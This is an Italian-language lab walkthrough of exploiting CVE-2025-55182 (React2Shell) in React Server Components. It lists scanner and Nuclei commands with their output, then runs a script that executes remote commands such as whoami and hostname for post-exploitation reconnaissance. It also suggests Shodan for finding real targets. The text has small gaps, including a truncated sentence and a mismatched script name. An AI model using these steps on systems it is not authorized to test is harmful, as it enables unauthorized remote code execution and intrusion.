
Sfruttamento della vulnerabilità CVE-2025-55182
CVE-2025-55182, nota anche come React2Shell, è una grave vulnerabilità di Remote Code Execution (RCE) che colpisce React Server Components (RSC). Utilizza il protocollo Flight per la comunicazione tra client e server. Quando il client richiede dati, il server riceve un payload, lo analizza e ciò può consentire a un attaccante di iniettare strutture dannose o frammenti di codice arbitrario che React accetta come validi.
| Elemento | Contenuto |
|---|---|
| Gravità | Critical (CVSS 10.0) |
| Tipo | Unsafe Deserialization (CWE-502) |
| Metodo di attacco | Remoto, senza autenticazione richiesta |
| Versioni interessate: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 e Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
Il server elabora il payload dal client senza una validazione completa, consentendo all'attaccante di:
L'attività di sfruttamento relativa a questa vulnerabilità è stata rilevata a partire dal 5 dicembre 2025. La maggior parte degli sfruttamenti riusciti ha avuto origine da valutazioni di gruppi di attacco. Sia gli ambienti Windows che Linux sono interessati.
Installazione
pip install -r requirements.txt
Scansione di un server vulnerabile:
python3 scanner.py -u https://example.com
Inserisci il percorso da scansionare (qui ho inserito la mia macchina vulnerabile http://192.168.10.1:3000)
Risultato ottenuto:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Scansione di un elenco di server:
python3 scanner.py -l hosts.txt
Scansione con più thread e salvataggio dei risultati:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scansione con intestazioni personalizzate:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Scansione di target Windows:
python3 scanner.py -u https://example.com --windows
Utilizzo del metodo di rilevamento del canale laterale sicuro:
python3 scanner.py -u https://example.com --safe-check
Come puoi vedere, ci troviamo di fronte a una vulnerabilità di sicurezza, il che significa che il server che abbiamo fornito è suscettibile di attacco da parte di un Attaccante.
Ora utilizzeremo Nuclei per verificare quale vulnerabilità sia presente sul server e se abbia un PoC. Questa funzione funziona inviando richieste personalizzate, riducendo i falsi positivi e supportando la scansione parallela.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Risultato ottenuto
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
Il sistema ha rilevato che questo server è vulnerabile e può essere sfruttato tramite la vulnerabilità CVE-2025-55182. Da qui puoi vedere che si tratta di una vulnerabilità piuttosto pericolosa e importante, con molti PoC disponibili sulle piattaforme social. ☺☺☺
Puoi vedere che queste informazioni sono sufficienti per confermare l'esistenza della vulnerabilità di sicurezza nell'applicazione. Per dimostrare che questa applicazione può essere utilizzata per eseguire un comando o codice da remoto, inizierò il PoC.
chmod +x scanner.sh
# Verifica se il target è vulnerabile
./datscan.sh -d example.com
# Esecuzione del comando per controllare l'utente corrente
./datscan.sh -d example.com -c "whoami"
# Con URL completo
./datscan.sh -d example.com -c "uname -a"
Significato:
Restituisce l'utente corrente che esegue il processo del server
Aiuta a determinare:
=> Questo è il comando più semplice per confermare un RCE riuscito
-d, --domain - dominio/URL-c, --command - Comando da eseguire (es: whoami, hostname,...)# Verifica il nome host
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Determina la versione del sistema operativo
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Verifica che l'esecuzione del comando funzioni stabilmente
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Questo è il passo di reconnaissance iniziale dopo uno sfruttamento riuscito.
Ci aiuta a confermare: RCE funziona, determinare il sistema operativo,...
Poiché questa sperimentazione è in un ambiente lab personale per evitare implicazioni legali, l'uso di intestazioni HTTP per il furto di dati, output grandi o caratteri speciali può causare:
ERR_INVALID_CHAR
I comandi brevi (es. whoami, ver) sono più affidabili per l'illustrazione in ambienti di test.
Se preferisci, puoi usare Shodan per verificare indirizzi IP direttamente in ambienti reali e procedere come nella mia sperimentazione (sconsigliato).
Come già notato in precedenza. Questo strumento è solo per scopi educativi e di test di sicurezza autorizzati. Non utilizzare questo strumento per testare sistemi che non possiedi o per i quali non hai l'autorizzazione.
| Significato dei comandi eseguiti | Contenuto |
|---|
| Restituisce il nome host | Utilizzato per: - identificare il sistema interessato - supportare il lateral movement (in ambienti interni) |
| Determina la versione del sistema operativo | Importante per: - valutare le possibilità di ulteriore sfruttamento (privilege escalation) - scegliere l'exploit appropriato |
| Verifica l'esecuzione del comando | Utilizzato per eseguire il debug del payload/scanner |
| Restituisce il nome utente corrente | In questo caso: - l'utente è ADMIN → potrebbe avere privilegi elevati - Più importante di whoami in alcuni casi Windows |
| Restituisce il nome host | Restituisce il nome host tramite variabile d'ambiente |